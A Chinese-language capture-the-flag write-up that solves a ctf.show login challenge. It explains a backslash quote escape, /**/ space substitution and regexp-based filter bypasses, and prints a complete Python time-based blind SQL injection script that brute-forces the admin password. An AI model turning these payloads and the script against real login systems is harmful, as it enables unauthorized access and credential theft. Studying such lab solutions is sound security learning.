时间注入,区分大小写的regexp,注释单引号
我刚开始想到时间注入,于是就按照正常的语法去构建payload但是经过测试发现过滤掉了好多东西
具体列举一下过滤的字符
我们看到题目就给了一个登录的界面,想着应该是登录了就能getshell
,看一下源码,发现了sql语句
我们来看一下第一句这个正则
if (!preg_match('/admin/', $uname)) die;
在做登录测试的时候也发现了要使用admin账户进行登录。这个正则也能看出来用户名是admin,但是这里存在漏洞,由于是正则匹配,只要含有admin即可。
再来看sql语句
select * from 36d_user where username='$uname' and password='$passwd';
看到这个我就莫名的感觉很熟悉,好像是之前做过一个p3师傅的题目也是这样的,由于第一句正则匹配,只要用户名里含有admin即可,所以我们可以使用admin\来注释掉后面的单引号从而使得后面的$passwd逃逸出来。然后将后面的用#
注释。
1.输入用户为admin\
使得后面的$passwd
逃逸出来。
2.使用/**/
来绕过空格被过滤
3.我们登陆时要用到的用户是admin
显然admin\
是不存在的,在测试时发现or
刚好没有被过滤,如果被过滤我们可以使用^
来绕过,关键字if
也没被过滤所以可以使用时间盲注。
4.由于=,<,>
被过滤我们可以使用like
来绕过,还可以使用区分大小写的regexp
来绕过。不了解regexp
的师傅可以在regexp学习地址学习下。
#encoding:utf-8
#__author__:ly0n@https:cbatl.gitee.io
import requests
import time
import datetime
url = "http://dc0d3495-8dc7-4744-915c-13cb2fcb3063.chall.ctf.show"
char = ['a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
passwd = ''
for i in range(15):
for j in char:
time1 = datetime.datetime.now()
data = {
'username':'admin\\',
'password':'or/**/if((password/**/regexp/**/binary/**/"^{}"),sleep(5),1)#'.format(passwd+j)
}
#print data['password']
res = requests.post(url=url,data=data)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec>4:
passwd += j
print passwd
爆破出密码登录即可获取flag!
学习之路,切勿急躁!!!!